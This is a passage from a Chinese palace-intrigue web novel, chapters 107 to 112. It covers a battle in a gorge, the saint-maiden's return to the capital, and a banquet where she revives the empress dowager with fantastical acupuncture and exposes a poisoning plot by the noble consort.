乌光在半空中炸开,发出一声极具穿透力的爆鸣。
这爆鸣声中和了刺魂的骨哨声。
狼山卫只觉得脑海中的剧痛和眩晕感减轻,神智为之一清。
另外几名血鸦卫也火速掠出。
他们手中不知何时多出了一些拳头大小,通体漆黑的圆球。
然后,毫不犹豫地将圆球砸向怪物最密集的区域和他们脚下干枯的枯藤。
“轰!轰!轰!”
震耳欲聋的**声接连响起。
火光冲天!
那不是普通的火焰!
闻气味,显然其中加入了克制邪祟和蛊虫的药物。
剧烈的冲击波将冲在前面的怪物炸得肢体横飞。
熊熊燃烧的火焰点燃了他们身上的尸油和枯藤。
那些刀剑难入,力大无穷的怪物,在特制的**物和烈焰面前,发出了凄厉非人的嚎叫,行动力大减。
而萧景珩则在血鸦卫的掩护下,几个闪烁便不可思议地绕过了混乱的前方战场,
目标直指那个吹骨哨的佝偻身影以及附近几个看似指挥的蒙面头目!
每一次闪现,都伴随着一声短促的闷哼。
他的刺杀无声无息,效率高得令人胆寒,瞬间搅乱了“马匪”后方的指挥核心。
目睹了血鸦卫的
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手段,又看到恐怖的怪物被烈焰吞噬。
狼山卫的士气飙升到顶点。
所有的恐惧化为滔天的怒火和杀意!
盾墙彻底散开,战士们如同出闸的猛虎,放弃了防御,全力进攻。
**如林,刀剑如雪。
狼山卫与血鸦阁精锐配合默契,三人一组,背靠背绞杀落单的“马匪”。
原本气势汹汹的“马匪”和残存的怪物,瞬间被反击的浪潮淹没,节节败退,死伤惨重。
赫连灼冲到林绾绾面前,看到她被血鸦阁暗卫护得严严实实,确认安然无恙之后,目光便锁定在后方那个正再度吹响骨哨的身影身上。
“藏头露尾的鼠辈,也敢犯我天威!”
赫连灼一把扯下身上普通的皮甲,露出里面暗金色的软甲,周身气势如同沉睡的火山轰然爆发。
他不再伪装。
身形化作金色残影,带着焚烬万物气息的刀罡,无视周围阻挡的几名“马匪”,直斩向那佝偻的身影。
“不--!”
灰袍人只来及发出一声短促绝望的尖叫,头颅就彻底离开了他的身体。
形势已然彻底逆转!
伏击者的精锐损失殆尽,残存的“马匪”丢盔弃甲,亡命般向峡谷两端溃逃。
狼山卫战士在统领的带领下,如同驱赶羊群般追杀溃兵,将这些胆敢伏击圣驾的狂徒斩尽杀绝。
萧景珩回到林绾绾身边,冷眼看着溃败的敌人和追杀而去的狼山卫,眼神深邃。
血鸦卫则悄无声息地重新隐入人群,仿佛从未出现过一般。
赫连灼收刀而立,气息开始缓缓收敛。
他扫视着狼山卫追杀的方向,最终目光落回到被严密保护的林绾绾身上,沉声道:
“火速清理战场,救治伤员。此地也并非可久留之地。”
林绾绾点头应是。
她看着满目疮痍、火光未熄的战场,看着那些燃烧的怪物残骸,心中寒意更甚。
鹰嘴峡的晨雾,已被浓烟和血腥彻底染红。
真正的风暴,随着他们临近大胤,也马上就要开始!
第108章 圣女入京
鹰嘴峡一战的血腥与肃杀,被黄沙悄然掩埋。
队伍带着轻微的伤亡,终于踏入了大胤边境。
当大胤巍峨的边关城池出现在地平线上时,空气骤然变得粘稠而压抑。
守关将领早已接到京城八百里加急的旨意,对这支由北漠狼主亲自护送,打着“修好”旗号却透着刀锋般锐利气息的队伍,态度透着恭敬与戒备。
关内早已等候了更为华丽的仪仗。
赫连灼换上了象征北漠狼主身份的墨底金纹王袍,气势逼人。
而林绾绾登上那辆由八匹雪白骏马拉曳的圣女圣驾。
雪白圣洁的圣女华服在阳光下流淌着神秘光泽。
萧景珩则如同最沉默的影子,脸带面具,腰悬长剑,策马紧贴圣驾右侧。
面具外,只余一双深邃锐利的黑眸警惕地扫视着每一个靠近圣驾的大胤官员和士兵。
沿途州府官员无不战战兢兢,以最高规格迎接护送,生怕惹怒了这位带着北漠大军压境威胁的狼主和新晋圣女。
队伍行进速度不快,却带着一种无可阻挡的威势,缓缓碾向大胤的心脏。
京城的气氛,比边境各州更加诡异。
表面上张灯结彩,礼部官员忙得脚不沾地。
暗地里,却暗流涌动,无数双眼睛从皇宫深处、高门府邸到阴暗角落,全都窥视着这支队伍。
昔日的林府旧址,如今已经被仓促翻新。
朱漆大门依旧,只是门楣上“悬壶济世”的匾额,已经被“圣女别苑”的鎏金牌匾取代。
门口肃立的禁军甲胄森然,眼神警惕而冰冷。
当圣驾缓缓驶入。
车轮碾过青石板发出的声响,在这过分寂静的庭院里显得格外清晰。
林绾绾走下圣驾,目光一寸寸扫过这片熟悉又陌生的地方。
庭院还是那个庭院,假山池沼依旧。
曾经的那株枝繁叶茂,承载着她无数童年欢笑的古槐已被移除。
新栽种的几棵贵重树木被修剪得整整齐齐,把原本空缺的位置替换掉。
她缓步走过抄手游廊。
廊柱上新刷的朱漆鲜艳夺目,掩盖住了墙壁上烟熏火燎的痕迹。
但是林绾绾似乎还是能闻到,空气中一丝若有若无的血腥混着焦糊的味道——
那是永远无法磨灭的灭门之夜的气息!
林绾绾的目光不由自由地投向主院方向。
那里曾是父亲的书房兼诊室。
药香弥漫,人来人往。
如今却也原地建起了一座崭新的、装饰着北漠图腾的殿宇。
金砖银瓦在夕阳余晖下反射着冰冷的光泽。
那些带着药草清香的记忆碎片,如同汹涌的潮水,狠狠拍打沾着理智的堤岸。
她仿佛又听到了烈火吞噬房梁的噼啪声,听到亲人绝望的悲鸣...
仇恨的毒焰在胸腔里无声燃烧,几乎要将她吞噬。
指尖深深掐入掌心,带来尖锐的疼痛,才勉强维持住她表面的平静。
“圣女殿下,请随奴婢前往‘栖凰阁’歇息。”
一个面容刻板、眼神精明的中年嬷嬷上前行礼,语气恭敬却透着疏离。
林绾绾深吸一口气,强行压下翻涌的心潮,眸中恢复一片清冷的古井无波。
“有劳。”声音听不出任何情绪。
带着面具的萧景珩,凭借着“圣女贴身护卫”的身份,也堂而皇之地住进了别苑内院,距离林绾绾的居所只有一墙之隔。
对此,赫连灼虽面色冷硬,却也无法反驳,只能将更多精力放在与大胤朝廷的外交周旋上。
入住别苑第一夜,月凉如水。
林绾绾屏退了侍女,独自坐在熟悉又陌生的窗前,感慨万千。
她换下了繁复的圣女华服,只着一身素白的寝衣。
长发如瀑垂落,指尖无意识地划过心口。
那里,火焰印记在月华下似乎有微弱的暖意流转。
她脑海中反复回想着羊皮卷上那扭曲的图案和暗红的文字:
圣血骨胎,未成型的胎儿,以及宸妃惨死的惨状...
巨大的阴谋如同一张无形的巨网,而他们正踏入网的中心。
她闭上眼,指尖抚过冰凉的窗棂,仿佛还能感受到父亲与母亲曾在这里凭栏眺望的温度。
轻微的窗棂叩击声响起。
玄色身影悄然而入,带着夜露的微凉。
是萧景珩。
他面具未除,但周身那股冷香气息,
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却是独属于他的标识。
“绾绾。”
他低沉的声音在寂静的室内响起,语气中满满的关切。
他看到了林绾绾站在窗边略显孤寂的背影,也感受到了“故园”带给她的沉重。
萧景珩走到她的身侧,将一枚细小的蜡丸放在窗台上。
“血鸦秘报。”他言简意赅,“情况比预想的要复杂。”
林绾绾捏碎蜡丸,展开字条。
烛火摇曳,映着上面的字迹:
“丞相王崇山之女,借“礼佛”手段,获贵妃位,冠宠六宫。
司膳房欲借朱颜改之毒,嫁祸圣女。
皇帝秘召王崇山,暗示其**王絮可配东宫。
圣女别苑、东宫内,不明人员人数骤增。”
“皇帝这么快就按捺不住了。朱颜改...他倒是念旧。竟然想故技重施,用在我的身上!”
林绾绾眼中寒芒闪动,但唯独没有丝毫畏惧。
“太子殿下倒是艳福不浅,病重于东宫内,都有月老为你牵线。”
萧景珩自然地伸出手,轻轻拂开林绾绾颊边一缕碎发,动作熟稔又亲昵,带着一种无声的安抚和宣示。
“只不过是一些跳梁小丑罢了。我会让这些人自食恶果!至于那个王絮...”
萧景珩冷哼一声,语气中的不屑与厌恶毫不掩饰。
“我的好父皇看样子是黔驴技穷,只会用这种下作手段!”
窗外的月光流淌进来,勾勒着萧景珩冷峻的轮廓。
他面具下的眸光专注地烫人,让林绾绾心中那点因阴谋而起的寒意,也被驱散了些许。
萧景珩察觉到林绾绾的目光,忽然低下头,温热的呼吸拂过林绾绾的耳廓,声音压得极低,带着蛊惑的意味。
“夜深了,圣女殿下是否该安寝了?明日...可是有一场大戏。”
气息包裹,距离暧昧。
林绾绾心跳漏拍,耳根微热。
还未等她闪避,萧景珩就退开一步。
“我先回东宫一趟,血鸦阁有些要务需要我亲自处理。寅时必回。”
话音落,身影融入夜色中。
室内寂然。
林绾绾深吸一口气,压下心中涟漪,静等明日的到来。
第109章 琼苑水榭
翌日,宫中设宴,为北漠狼主赫连灼与圣女林绾绾接风洗尘。
地点设在景色秀丽的琼华苑水榭。
水榭内,碧波荡漾,曲桥回廊,丝竹管弦之乐悠扬。
宴开百席。
宗室勋贵,文武百官,诰命夫人齐聚一堂。
衣霜鬓影,觥筹交错,一派盛世繁华景象。
而太子却因“寒毒”复发,未能出席宴会。
林绾绾作为北漠圣女,身份尊贵,席位被安排在御阶之下,紧邻着几位诰命夫人与王妃。
今日她并未穿北漠圣女的繁复华服,而是换上了一身月白色长裙。
长裙裙摆处用银线绣着若隐若现的冰凌纹路,外罩一层轻纱。
清雅脱俗,不显山水,却又有一股高华气度。
发簪间,只簪了那一支冰魄源晶雕琢的、含苞待放的昙花簪,在阳光下流转着内敛而神秘的光泽。
去而复返的萧景珩以“护卫”身份,侍立在林绾绾身后三步之处。
他玄衣如墨,面具遮面,气息沉凝,如同一柄收入鞘中的绝世名剑。
虽未出锋,却无人敢忽视他的存在。
他的目光看似低垂,实则不动声色地扫视着全场,尤其是御座之上的掌权者。
赫连灼作为北漠狼主,席位在御阶另一侧。
他今日身着北漠王庭的礼服,整个人气势雄浑,琥珀色的眼眸深邃如渊。
宴会进行到高潮,丝竹暂歇。
皇帝萧胤满面红光,掩去眼底深藏的审视与算计,举杯道:
“今日盛宴乃是为北漠狼主与圣女接风洗尘。二位远道而来,实为两国修好之幸事!朕敬二位一杯。”
所有人的目光都聚焦在御阶下的二人身上。
赫连灼与林绾绾向御座上的皇帝微微颔首,将杯中酒一饮而尽。
赫连灼放下酒杯,从身后侍从手中接过一个早已准备好的、以整块温润白玉雕琢而成的玉匣,朗声道:
“皇帝陛下,我们远道而来确是为了两国邦交。为表达我北漠诚心,特献上我国圣物‘延寿丹’一枚。”
玉匣开启瞬间,一股清洌且蕴含着冰雪与朝阳交融气息的异香,在水榭中弥漫开来。
只见玉匣中央的红色丝绒上,静静躺着一枚龙眼大小、通体浑圆的丹药。
丹药表面并非寻常丹丸的色泽,而是呈现出一种奇异的半透明质感。
内里仿佛有丝丝缕缕的金色流光在缓缓流动、凝聚,最终在丹药核心处,形成了一朵极其微小却栩栩如生的金丝昙花虚影!
“嘶--!”
殿内响起一片倒吸冷气的声音。
这丹药的品相,简直闻所未闻!
那朵金丝昙花虚影,更是神乎其技!
“此丹取自北漠圣湖冰魄源晶之精粹,融合百年金丝昙花蕊,佐以《天医策》秘法炼制而成。”
林绾绾声音清越,清晰地传入每个人耳中。
“它不但可以温养心脉,疏解郁结,还有延年益寿之效。特献于太后,聊表心意。”
林绾绾说罢起身,接过赫连灼手中的玉匣。
她双手捧着玉匣,缓步走向御阶之上,将玉匣献给端坐在凤椅上的太后。
太后的目光,从林绾绾起身的那一刻起,就死死盯在她身上。
更准确地说,是钉在她发间那支冰魄昙花簪,以及玉匣中那枚流光溢彩、内蕴金昙的丹药上!
金丝昙花!又是金丝昙花!
谁不知道大胤皇宫中,金丝昙花是她的禁忌!
他们这绝对是刻意而为之!
当那清洌异香钻入鼻腔...
当那丹药核心处徐徐绽放的金昙虚影清晰地映入眼帘...
太后浑浊的瞳孔剧震。
一股强烈至极,源于灵魂深处的恐惧和厌恶攫住了她。
眼前仿佛又浮现出几十年前,宸妃拈着金昙花巧笑倩兮的模样!
还有香炉中升腾的蛊虫青烟冲入宸妃口鼻,然后她七窍流血、皮肤布满紫黑斑块的恐怖死状!
“啊--!”
一声短促而尖锐,充满了极致恐惧的惊叫从太后喉咙里挤出!
她像是看到了世间最恐怖的恶鬼,身体不受控制地向后猛缩。
枯瘦的手指死死抓住凤椅扶手,手背青筋暴起,指尖也因用力泛出青
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白色。
脸上血色褪尽,只剩下骇人的惨白和扭曲的惊恐!
惊慌失措间,还失手打翻了手边案几上的茶盏。
滚烫的茶水泼洒在她华贵的凤袍上,她也浑然不觉!
她捂住胸口激烈喘息着,似乎下一刻就要窒息晕厥过去。
“母后?!”
“太后娘娘!”
殿内瞬间一片哗然!
虽然大家都知道太后对金丝昙花深恶痛绝,却没想到她的反应能如此剧烈!
皇帝萧胤脸色剧变,猛然站起身。
“母后!您怎么了?”
他的眼中闪过精光,随即化为浓浓的“关切”和“震怒”。
转身厉声喝到:“太医!快传太医!”
一旁的王贵妃也是一脸惊慌失措的样子,连忙上前搀扶太后。
“太后娘娘,您可别吓臣妾啊!原本还好好的,怎么突然就成了这个样子,是不是这个丹药有什么问题…”
她意有所指地看向林绾绾手中的玉匣,声音带着恰到好处的颤抖和刻意的引导。
在场的都是人精,看到这里也不免开始小声议论起来。
“放肆!”
赫连灼冰冷如刀的声音带着磅礴的内力威压,瞬间压下了水榭内的嘈杂。
他一步跨前,挡在林绾绾面前,墨袍无风自动,眼睛直直地看向上位的贵妃。
“贵妃娘娘慎言!圣女献药,代表我北漠的一片赤诚。众目睽睽之下,丹药尚未呈至太后,何来问题一说?贵妃娘娘此言,是想破坏我们两国的邦交吗?”
“况且,太后娘娘若是圣体违和,应当速请太医诊治,以免延误病情!而非在此妄加揣测,攀诬我国圣女!”
他的气势如同山岳般沉重,压得王贵妃呼吸一窒,后面的话硬生生卡在了喉咙里,脸色更是一阵青白。
反观林绾绾面色平静。
她上前一步,声音依旧清冷从容:
“陛下。太后娘娘似受惊悸。本圣女略通医术,或可一试。就算无法根治,也可为太后娘娘缓解一二。”
“不可!”
王贵妃再次拒绝,声音愈发尖厉起来。
第110章 妙手回春
王贵妃尖厉的拒绝声,在琼华苑水榭内回荡。
“陛下!太后娘娘千金之躯,岂可让外人随意窥视圣体。况且北漠医术与我大胤不同,万一…”
“贵妃娘娘此言差矣!”
赫连灼清朗沉稳的声音再次响起,琥珀色的眸子冷冷扫过王贵妃,最后落在皇帝身上。
“陛下,我国圣女医术通玄,乃是《天医策》执掌者。在北漠救治瘟疫,活人无数。其仁心仁术,天地可鉴!”
“太后娘娘突发急症,圣女主动请缨,乃是一片赤诚!贵妃娘娘无凭无据,凭臆测频频阻拦圣女施救,莫非…是想太后娘娘的病情愈发严重,从而独揽后宫大权?”
他言辞犀利,直接将矛头指向了王贵妃的用心。
更是抬出林绾绾在北漠的声望和《天医策》的名头,分量极重。
“我不是…本宫没有…你胡说!”
王贵妃连连撇清,视线忍不住向皇帝求助。
水榭内,王宫重臣及家眷们面面相觑。
不少宗亲老臣看向王贵妃的目光已经带上了不满和怀疑。
毕竟太后刚才的失态确实太过突然和诡异。
而王贵妃几次三番阻挠北漠圣女施救,还急于攀咬北漠圣女的行为,也确实显得过于奇怪。
皇帝萧胤的脸色则是变幻不定。
他本意是想让王贵妃出头,借太后惊厥,坐实圣药“不祥”。
继而指控林绾绾意图谋害太后圣体,毁坏两国邦交,然后顺势发难。
但赫连灼和林绾绾一唱一和,将王贵妃推到风口浪尖,再纠结下去,反而显得做贼心虚。
尤其是赫连灼那句“延误病情”,更是诛心!
这个王家女,也是个不顶事的!
成事不足,败事有余!
才几句话就败下阵来!
“够了!”
萧胤厉喝一声,打断了殿内的议论纷纷。
他目光阴沉地扫过林绾绾和赫连灼,又看了一眼脸色惨白、呼吸急促、痛苦不堪的太后。
最后沉声道:“圣女既有此医术,便请上前为母后诊治。若真能缓解母后病痛,朕自有重赏!但…”
他话锋一转,带着冰冷的警告:“若母后有丝毫差池…两国的和谈就此作罢!”
“本圣女自当尽心竭力,请皇帝陛下放心!”
林绾绾面色不变,捧着玉匣,在无数道或怀疑、或担忧、或幸灾乐祸的注视下,走向御阶上方。
萧景珩寸步不离地跟在她身后,如同一座移动的堡垒。
王贵妃刚想再说点什么,被皇帝的眼神严厉制止,只能默默地退到一边。
林绾绾走到凤椅前。
太后此刻蜷缩在宽大的凤椅里,双手紧紧揪着胸口的衣襟。
她脸色惨白,嘴唇发紫,额头上布满冷汗,眼神涣散的同时口中无意识地发出痛苦的呻吟。
显然已经完全陷入半昏迷状态。
这病情,远比林绾绾预想的状态还要严重!
那金丝昙花带来的心结和恐惧,看来早已成了太后灵魂深处最深的毒瘤。
林绾绾放下玉匣,迅速伸出三指,搭在太后的手腕上。
指尖触及的瞬间,《天医策》的医理便在她心中自动流转。
太后此刻脉象,沉细弦涩,寸关尺三部皆弱,尤以左寸为甚,沉伏难寻,且时有结代。
此为惊悸过度,引动心阳暴脱,更兼有多年肝气郁结、痰瘀阻络之象!
并且心脉淤堵严重,若不立刻施救,马上会有性命之忧!
“太后娘娘心脉淤塞,阳气欲脱。”
林绾绾声音清晰响起,带着不容置疑的口吻,“需要立刻施针,通阻回阳!”
她话音刚落,玉手已如穿花蝴蝶般探入袖中。
再出手时,指间赫然夹着三枚细如牛毛,通体流转温润光泽的九转玲珑针。
只见她出手如电!
第一针,直刺太后头顶百会穴!
此穴为诸阳之会,总督一身正气。
针入三分,轻捻慢提,一股温和的暖流导入,稳住那即将溃散的微弱心阳!
第二针、第三针同时落下!
分刺太后双手内关穴!
内关为心包经络穴,通阴维脉,乃宁心安神,宽胸理气之要穴!
双针齐下,稳、准、轻!
以特殊的震颤手法,缓缓疏通心包经淤堵
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之气。
三针落下,太后急促的呼吸略微平缓了一丝,但脸色依旧惨白,嘴唇青紫未褪。
“取温水!”
林绾绾头也不抬地吩咐。
立刻有宫人战战兢兢地奉上温水。
林绾绾拿起玉匣中那枚流光溢彩的延寿丹。
她没有立刻给太后服下,而是指尖轻弹。
一点淡金色粉末,借着取水的动作,极其巧妙地混入水杯之中,与温水迅速融合。
这细微的动作快如闪电,除了萧景珩和赫连灼捕捉到一丝异样波动外,旁人根本毫无察觉。
“请太后服药。”
林绾绾将混合了药粉的温水递到太后唇边,另一手捏着那枚丹药。
在外人看来,她只是将丹药放入太后口中,再辅以温水送服。
丹药入口即化。
几乎是同时,林绾绾再次出手!
这一次,她指尖夹着七枚九转玲珑针。
只见她出手如风,认穴奇准。
膻中穴!针入五分,直刺心包募穴,宽胸理气!
巨阙穴!针入四分,调理心气!
心俞穴!双针齐刺!此乃心之背俞穴,直通心气!
厥阴俞穴!双针齐刺,协同心俞,强心通络!
最后一针,刺向太后左手神门穴,安神定志!
七针落下,快、稳、准!
针尾微微颤动,发出细微的嗡鸣。
林绾绾指尖萦绕着肉眼难辨、极其细微的冰火双色气流。
随着针尾的震颤,如同最精密的引线,缓缓导入太后体内。
这正是《天医策》中记载的,结合九转玲珑针和独特施针手法的“冰火引气术”。
以自身温和的冰火同源之力为引,疏导淤塞,温养心脉。
殿内鸦雀无声,落针可闻。
所有人都屏住呼吸,死死盯着御阶之上。
王贵妃偷偷打量着皇帝神色,见皇帝萧胤眼神阴鸷,心下更是慌乱,指甲深深陷进掌心。
赫连灼眉头紧锁,盯着林绾绾的一举一动。
而萧景珩则全身戒备,如同守护珍宝的凶兽,环视周围潜在的危机。
水榭内,时间仿佛都凝固了。
第111章 盛名远扬
约莫半盏茶功夫。
“呃…”
一声微弱的呻吟从太后口中发出。
她惨白的脸上,竟以肉眼可见的速度恢复了一丝血色。
紧蹙的眉头缓缓舒展,急促微弱的呼吸变得平稳悠长。
紧抓着胸口的手也慢慢松开。
虚弱的灰败之气,已然消散。
“太后娘娘!”
“醒了!太后娘娘醒了!”
水榭内爆发出惊呼和如释重负的庆幸声。
林绾绾神色依旧平静,仿佛只是做了一件微不足道的小事。
她缓缓收针,动作行云流水。
接着后退一步,微微躬身。
“太后娘娘心脉淤塞已暂时疏通,惊悸之症也已缓解。然而沉疴已久,后续还需要静心调养,切忌大悲大喜,尤需…远离惊惧之源!”
最后一句,她意有所指,目光平静地扫过御座方向。
太后浑浊的眼睛缓缓睁开,带着茫然和深深的疲惫。
她看向林绾绾的眼神极其复杂。
有惊魂未定,有残留的恐惧,更有深深的戒备…
“母后,您感觉如何?”
皇帝萧胤快步上前,脸上堆满了“关切”。
太后虚弱地摆摆手,“哀家好多了…皇帝,替哀家好好…谢谢圣女。”
最后几个字,她说得极其艰难,仿佛用尽了所有力气。
皇帝眼底深处闪过阴霾,但面上却露出欣慰的笑容。
“北漠王庭果然是人才济济,圣女更是医术通神,妙手回春,救太后于危难。朕心甚慰!重重有赏!”
他大手一挥。
“传旨!赐北漠圣女赫连绾绾,东海明珠十斛,黄金千两!另赐‘妙手仁心’金匾,悬于圣女别苑!”
“谢陛下恩典。”林绾绾淡然行礼,宠辱不惊。
就在众人注意力都集中在苏醒的太后和受赏的圣女身上时,水榭一角,变故陡生!
“啊!”
凄厉的惨叫撕破宁静的氛围。
众人骇然望去!
靠近林绾绾坐席的正一品诰命夫人李氏,突然捂住喉咙,脸色青紫,双目暴突。
她身体剧烈抽搐,从座位上翻滚下来。
双手疯狂抓挠脖颈胸口,华服在她手中撕裂,血痕深可见骨。
被抓破的皮肤下,妖异娇艳的桃红色隐现。
“朱颜改!是朱颜改!”有眼尖的太医立刻失声尖叫。
恐惧如瘟疫般蔓延。
诰命夫人们尖叫连连,场面大乱!
“护驾!”侍卫们拔刀环护帝后宗亲。
而王贵妃几乎银牙咬碎。
本想先用北漠丹药有异,将林绾绾冠上谋害太后的罪名,再借朱颜改之毒嫁祸,让她罪加一等,彻底无法翻身。
谁知她竟医术无双,真的救活了太后。
这也导致后面的计划全部乱套!
栽赃嫁祸显然已经行不通了。
为今之计,只能想想怎么善后脱身。
王贵妃眼中慌乱转为狠厉,猛地指向已溜至水榭边缘,瘫软在地的小侍女:
“是她!本宫看见那个司膳房的贱婢刚才鬼鬼祟祟的,定是她下毒!抓住她!”
小侍女闻言魂飞魄散,大声哭喊:
“贵妃娘娘,贵妃娘娘饶命!让奴婢下毒的可是…”
话音未落,小侍女突然捂嘴吐出黑血,当场倒地断气!
王贵妃见状,心中稍定,继而气愤欲绝,“好个畏罪**的贱婢!定是受人指示,意图嫁祸…”
她一边说着,一边掩面,似是不忍再看李夫人惨状,实则眼角余光死死锁定林绾绾。
“贵妃娘娘此言差矣!”
林绾绾清冷声音响起,从容走向抽搐的李氏,萧景珩为其隔开人群。
“朱颜改若是下在羹汤内,岂会只有一人**?且看李夫人症状,毒入肺腑已有时日,今日被诱因激发导致毒发,显非羹汤之毒!”
她蹲身,指尖搭上李夫人腕脉,另一手闪电般出手,点其天突穴。
温和冰寒气息透入李夫人身体。
李夫人瞬间抽搐稍缓,暴突眼球恢复一丝清明。
“夫人莫怕。”林绾绾出声安抚道。
随后取出金针刺入李夫人曲池穴。
指尖上的冰火之气顺针导入,护住其心脉,延毒攻心,清热解毒,活血通络。
“取烈酒!生绿豆三升研磨成粉!快!”
令下,宫人飞奔行动起来。
烈酒,绿豆粉至。
烈酒用来擦拭降温,绿豆粉温水调糊灌入李夫人口中。
绿豆性
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寒解毒,再辅以金针护心,冰寒气息导入。
李夫人身上桃红渐退,呼吸也渐平稳。
虽昏迷,命暂保。
众人看林绾绾临危不乱,手法娴熟。
医者仁心形象,彻底烙印人心!
“并非羹汤之毒?那毒从何来,不会是你...”
王贵妃色厉内荏惊声尖叫。
“毒从何来?”林绾绾目光如冰锥般刺向王贵妃。
“想必在座的贵人们中,只有贵妃娘娘最心知肚明!”
“我听说宫宴举行前几日,李夫人等诰命夫人想为宫宴尽绵薄之力,特去长乐宫拜访贵妃娘娘。”
“彼时,贵妃娘娘听说李夫人‘心悸失眠’,特赐下一匣安神养颜的西域玫瑰香粉。”
轰——!
王贵妃闻言如遭雷击,脸色死白!
她...她怎么会知道?!
香粉中的确是混入了微量的朱颜改,只要接连服上几日,配合今天特制熏香引子,潜藏的毒素就能爆发。
之所以选定李氏,无非是她的位置离林绾绾最近!
只要在今天宴会上,端上一碗有毒的羹汤,再将朱颜改的**想办法放到林绾绾身上,就可祸水东引,完美嫁祸!
如今熏香已经燃尽...
这本是天衣无缝的计划!
林绾绾嘴角冰冷的弧度扬起,“陛下,请即刻搜查长乐宫!贵妃所赐香粉就是铁证!”
条理清晰,指向明确!
众臣目光由恐惧变为震惊,转而又变为对王贵妃的愤怒鄙夷。
好一条毒计!好恶毒的用心!
竟然为了嫁祸北漠圣女,不惜残害命妇性命!
皇帝萧胤更是脸色铁青!
这棋子不仅无用,反被当众撕破脸皮,恐怕王家也会受到牵连...
真是蠢货!
此刻,他再度看向王贵妃的眼神已是杀意冰冷!
“陛下!臣妾冤枉!这是污蔑...”
王贵妃涕泪横流,跪倒在地,心中却隐隐已知大势已去。
她只盼皇帝看在王家面子上能对她留有余地。
就在这千钧一发之际!
“陛下息怒!太后娘娘,诸位大人息怒!”
一个清越婉转,带着恰到好处的焦急的声音响起。
第112章 王家有女
众人循声望去。
只见王丞相的**王絮,袅袅娜娜地自席间走出。
她身着淡紫色流云纱裙,容貌清丽绝伦,眉宇间带着一股不谙世事的纯真与忧国忧民的急切。
她走到殿中,盈盈下拜,姿态优雅。
“陛下!太后娘娘刚才受惊,凤体初愈,李夫人又遭此横祸,实乃不幸。臣女斗胆,恳请陛下暂息雷霆之怒,听臣女一言。”
她声音不大,却带着一种奇异的安抚力量。
水榭内剑拔**张的气氛竟被她这一番话稍稍缓和。
皇帝萧胤目光微闪,沉声道:“王小姐有何话讲?”
王絮抬起头,目光澄澈,带着对正义的执着:
“陛下,臣女虽年幼无知,却也知断案需重证据,不可仅凭推测定人罪责。”
“圣女殿下医术通神,心细如发,发现李夫人**非羹汤所致,并指出贵妃娘娘所赐香粉之疑,其心可嘉,其理可循。”
她先是肯定了林绾绾的做法,显得十分公允。
接着话锋一转,看向王贵妃,眼中带着一丝恰到好处的同情与不解。
“然贵妃娘娘侍奉陛下与太后多年,温良恭谦,素无恶名。赐下香粉,也是体恤李夫人身体欠安。”
“况且贵妃娘娘素爱礼佛,常年受佛法熏陶,怎会愿意草菅人命!”
“如今,仅凭一匣香粉去向,便断定是贵妃娘娘下此剧毒,谋害宗亲命妇...此推论,是否过于武断?”
“臣女听闻,此司膳房宫女前段时间给长乐宫传膳,由于传错膳食,遭到长乐宫掌事姑姑责罚,焉知不是这宫女心有不忿从而受人指使,将毒物混入香粉之中,再假借贵妃娘娘之名送出,行此一石二鸟之计?”
“此计若成功,不仅害了李夫人,又能嫁祸贵妃娘娘与圣女殿下,其用心不可谓不毒!”
王絮话语轻柔,逻辑却层层递进,将矛头巧妙引向了那个已死宫女和一个虚无缥缈的“幕后指使”。
既为贵妃开脱,又暗示林绾绾也有可能是被陷害的目标,更将水彻底搅浑。
最后那句“嫁祸贵妃娘娘与圣女殿下”,更是诛心之论,仿佛林绾绾和王贵妃都被同一个看不见的黑手**于股掌之间。
“这...王小姐所言...似乎也有道理...”
“是啊!仅凭香粉是贵妃所赐就定罪,确实...”
殿内众臣窃窃私语,不少人都露出思索之色。
王絮这番话说得滴水不漏。
既显得公正客观,又为贵妃提供了看似合理的脱罪理由,还隐晦点出了背后可能存在的巨大阴谋。
林绾绾与萧景珩二人对视一眼,二人对王絮此人不免留了心眼。
此女心机之深沉,言语之老辣,与她清丽柔弱的外表形成强烈反差。
长乐宫掌事宫女快步上前,将头深深埋在地上。
“王小姐所言确有其事。是奴婢看她办事不力,给了她几巴掌。她必是因此怀恨在心,才诬陷于贵妃娘娘。都是奴婢的错!”
王贵妃闻言,如同抓住救命稻草一般,立刻顺着二人的话哭诉:
“陛下明鉴,臣妾真的是冤枉的!定是有人要害臣妾,要害我大胤后宫安宁啊,陛下!”
她哭得情真意切,仿佛受到了天大的委屈。
皇帝萧胤眼底精光爆闪!
好个王絮!
三言两语,竟将几乎板上钉钉的死局盘活了!
他心中狂喜,面上却依旧震怒。
“王小姐之言不无道理。此事确有蹊跷。那宫女死无对证,难保不是受人指使。然香粉终究出自长乐宫,贵妃管教宫人不力,难辞其咎。”
他厉声道:“传旨!贵妃王氏,御下不严,致使宫闱生乱,险酿大祸!即日起,禁足长乐宫思过,无旨不得出。”
“李夫人**一案,交由刑部、大理寺、宗人府三司彻查!务必揪出幕后真凶,还所有人一个清白!”
他将“所有人”三字咬得极重,目光扫过林绾绾和赫连灼。
为了堵上悠悠众口,贵妃需要适当责罚。
如此,亦是为了给北漠一个交代。
“陛下圣明!”王絮率先盈盈下拜,声音清脆。
众臣子也纷纷附和。
王贵妃虽然被禁足,却也保住了基本体面。
她能躲过这
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一劫,全靠这个幼妹。
林绾绾冷眼看着这峰回路转的一幕。
王絮...确实好手段!
轻飘飘几句话,不仅让王贵妃金蝉脱壳,更将矛头瞬间指向别处。
这女人,比柳贵妃和王贵妃加起来都要难缠数倍。
她并未争辩。
此刻争辩只会落入对方搅浑水的陷阱中。
她已经将李夫人的命保下,这便是最有力的反击。
无论王絮如何舌灿莲花,救人性命的都是她林绾绾。
赫连灼眉头紧锁,琥珀色的眼眸深深看了王絮一眼,目光中带着毫不掩饰的审视与冰冷的杀意。
尘埃落定,水榭内气氛依旧诡异。
王絮再次盈盈开口,声音依旧温婉如水。
“陛下!太后娘娘吉人天相,实乃我大胤之幸。莫让意外扰了太后福气。臣女斗胆献上一曲‘清心普善咒’,以安凤心,祈国泰民安。”
萧胤笑容和煦,带着嘉许:“王爱卿之女,果然蕙质兰心,善解人意!准奏!”
王絮莲步轻移。
早有宫人抬上焦尾古琴。
她端坐琴前,纤纤玉指轻抚琴弦,姿态优雅如画。
“铮--”
清越音符流淌,如山涧清泉,抚平殿内残余戾气。
琴音空灵澄澈,正是《清心普善咒》。
王絮低眉敛目,神情专注虔诚。
她的指尖在琴弦上快速勾、挑、拂、捻,动作行云流水,赏心悦目。
但不经意间,却将几缕极其微弱、如同金线震颤般的异响,巧妙地编进旋律的缝隙。
